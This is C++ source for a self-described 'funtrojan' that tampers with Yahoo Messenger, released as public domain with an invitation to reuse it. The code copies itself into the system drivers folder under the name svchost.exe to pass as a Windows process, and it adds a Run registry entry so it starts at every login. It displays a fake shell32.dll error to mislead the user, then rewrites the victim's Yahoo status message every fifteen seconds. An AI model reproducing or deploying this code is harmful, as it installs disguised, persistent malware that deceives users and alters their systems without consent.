// This code was written by JTS-UD and is part of the  Yahoo Snot funtrojan
// It is considered PUBLIC DOMAIN code. Do with it as you please.
// I am not responsible for any crap you might get to eat.



//---------------------------------------------------------------------------
#include <vcl.h>
#include <Registry.hpp>
#pragma hdrstop
#define STATUSMSG "YOUR STATUS MESSAGE HERE"
//---------------------------------------------------------------------------
void setstatus() {
        AnsiString *username = new AnsiString;
        TRegistry *RegGet = new TRegistry(KEY_READ);
        try
        {
                RegGet->RootKey = HKEY_CURRENT_USER;
                RegGet->OpenKey("Software\\Yahoo\\pager",false);
                *username = RegGet->ReadString("Yahoo! User ID");
        }
        __finally
        {
                delete RegGet;
        }
        TRegistry *RegSet = new TRegistry(KEY_WRITE);
        try
        {
                RegSet->RootKey = HKEY_CURRENT_USER;
                AnsiString key = "Software\\Yahoo\\pager\\Profiles\\" + *username + "\\Custom Msgs";
                RegSet->OpenKey(key,false);
                RegSet->WriteString("5",STATUSMSG);
        }
        __finally
        {
                delete RegSet;
        }
        HWND hWndY = FindWindow ("YahooBuddyMain", NULL);
        PostMessage (hWndY, WM_COMMAND, 0x188, 0);
        delete username;
        Sleep(15000);
        setstatus();
}

//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
        try
        {
                if(ExtractFileName(Application->ExeName) != "svchost.exe") {
                        char target[30];
                        GetSystemDirectory(target, MAX_PATH);
                        AnsiString tg = target;
                        tg +=  "\\drivers\\svchost.exe";
                        CopyFile(Application->ExeName.c_str(),tg.c_str(),0);
                        TRegistry *regrun = new TRegistry;
                        try
                        {
                                regrun->RootKey = HKEY_CURRENT_USER;
                                AnsiString key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
                                regrun->OpenKey(key,false);
                                regrun->WriteString("braaainz","\""+tg+"\"");
                        }
                        __finally
                        {
                                delete regrun;
                        }
                        Application->ShowException(&Exception("Could not locate entry point __GETICON in shell32.dll"));
                        ShellExecute(NULL,"open",tg.c_str(),NULL,NULL,SW_SHOW);
                        ExitProcess(0);


                }
                setstatus();
        }
        catch (Exception &exception)
        {
               Application->ShowException(&exception);
        }
        catch (...)
        {
                 try
                 {
                         throw Exception("");
                 }
                 catch (Exception &exception)
                 {
                      Application->ShowException(&exception);
                 }
        }
        return 0;
}
//---------------------------------------------------------------------------
